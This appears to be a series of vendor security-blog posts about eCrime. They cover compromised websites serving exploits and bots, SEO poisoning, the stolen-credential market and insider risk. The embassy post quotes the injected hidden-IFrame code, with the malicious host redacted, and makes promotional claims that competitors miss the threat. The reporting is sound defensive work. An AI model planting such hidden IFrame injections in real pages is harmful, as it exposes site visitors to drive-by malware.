Once again, eCriminals took advantage of a legitimate and popular website as an attack vector for the purpose of propagating Malweb. Layla.co.il, a popular nightlife website in Israel, was compromised by eCriminals and is serving up a malicious bot to its visitors.


Image 1: Entries in our AID (Attack Intelligence Datacenter) indicating that layla.co.il contains MalWeb.

A hidden IFrame tag has been injected in all pages under “campaign” directory. The IFrame loads a malicious page which will attempt to download and execute a Trojan using one of the following exploits:
1. Microsoft Access Snapshot Viewer ActiveX Control Exploit
2. SWF Exploit
3. PDF Exploit

The downloaded malware executable is a bot instructed to download a rootkit which will function as a sort of keeper for it. The rootkit installs itself as a service named: “DCOM Server Process Launcher DcomLaunchMessenger”.

To evade detection, this Trojan prevents a long list of Antivirus and security applications from running.

Once the bot is launched, it sends some information to its C&C (Command and Control) system hosted at a Ukrainian server.

More than 200000 machines worldwide have been infected by this attack so far; each infected machine joins an army of botnet zombie machines ready to be controlled by eCriminals to launch cyber attacks. The following is a map showing the distribution of infected machines.


Image 2: A distribution map showing the locations of machines infected by the attack.

You may have already gotten yourself familiar with how eCrime works from our past research and field presence, but here is one more great example of this fascinating business: This article at the Washington Post covers the drop in prices of stolen credit cards. It talks about how a surge of “fresh merchandise” has hit the market and commoditized these credit cards to a level where you’d get change from a single dollar… It’s a great example of how eCrime works just like any other business in an economical ecosystem, and adapts to the supply and demand.

Just to complement the article, another contributing factor to the surge in availability is also attributed to the fact that there has been a surge in the availability of FTP credentials leading to legitimate sites. How does these two connect? Simple: FTP sites storing web content, get accessed by eCriminals (through an automated process of course), and the content associated with the website is modified to deliver a MalWeb attack that yields additional Trojan/Botnet infections. This leads to more credentials (both for FTP, as well as for financial services), which get to the market, get sold, and so on… This vicious cycle is feeding itself with more credentials, more access to financial resources, more infected systems in order to enhance the revenues from the eCrime business.

Simply put, the whole picture is what counts, rather than specific incidents. Protection on the other hand, is regarded to as “I have an AV”… leaving virtually millions of systems in the hands of MalWeb and other web threats that have proven to be more effective than thou.

Point in case – get better protection. For the sake of all of us… make sure that you can get protection from as far as your ISP, to as close as your home router, and of course PC. For enterprises it’s been easy with SWG (Secure Web Gateway) products providing that much needed layered protection, but for consumers we have usually smirked and had to dodge the questions of “so what do I do”. Start looking for ISPs that can provide that protection – beyond the “I’ll throw in an AntiVirus and an inkjet printer if you sign a 2 year contract”.

It’s that time of the year again… March madness is engulfing us with news and pre-season activities, and everyone is out and about to see what we would be seeing in the coming months. Just as we have portrayed before, eCrime is a social animal just as well, and is not going to let the action go by without having a chance to have a go at the crowd.

As usual – it’s the same technique all over again – using SEO (Search Engine Optimization) to grab high ranking in search results and leading users clicking on the related links to a variety of malicious content. We have see similar techniques used during the US presidential election season covered quite elaborately in the past, and don’t be surprised to see more of the same hitting the next seasonal event as long as it can attract enough “eyeballs” on search engines.

The official website of the Embassy of Iraq in Tehran was compromised with a malicious script that exploits multiple vulnerabilities.  Upon the execution of the malicious script, an obfuscated hidden IFrame leads to another obfuscated exploit. Visitors of the embassy website may end up with a Trojan downloader taking over their system.

The malicious script was found inside the main page of the Embassy’s website: iraqembassy.ir. The exploit is currently unrecognized by other anti-virus vendors. All of our competitors fail to block the exploit and the installed Trojan. The JavaScript obfuscated IFrame code is detected by eSafe as:  JS.Obfuscate.

The following are details of this attack. Note that the links to exploits and Trojans were replaced with [Trojan-server].

 1. The executed Script code in the website’s main page:  iframe name=c10 src='http://[Trojan-server].html' width=536 height=105 style='visibility:hidden'></iframe>')</SCRIPT>

 2. The hidden IFrame element executed by the Web browser refers to another IFrame element located on a server in Latvia: <iframe style="position: absolute; top: 10; left: 124; width: 546px; height: 524px; visibility: hidden" frameborder="0" scrolling="no" src="<Trojan-Server>?sid=1"></iframe>

 3. The second IFrame element refers the browser to an obfuscated page that contains multiple exploits.

 4. The obfuscated multiple exploitation scripts page attempts to gain control over the affected system by installing a Trojan Downloader.

A recent report from McAffee reaffirms our 2009 predictions, and talks about how eCrime is starting to benefit from ex-employees, noting that this trend is not limited to the IT guys... As we recall - the possibility to participate in the emerging eCrime business is closer than ever, with a quick buck to be made, and most importantly - quickly...

As the recession is hitting every sector and every business, many ex-employees find themselves with a very "unique" opportunity to leverage their dayjob skills to turn a profit in this financial dire. Having a proper security policy in the organization, and probably just as important - a humane and considering layoff operations that put the most valuable asset (regardless if it is to leave the company) - the employee as a first priority, can help mitigate the risks of data loss, and disgruntled employee damages.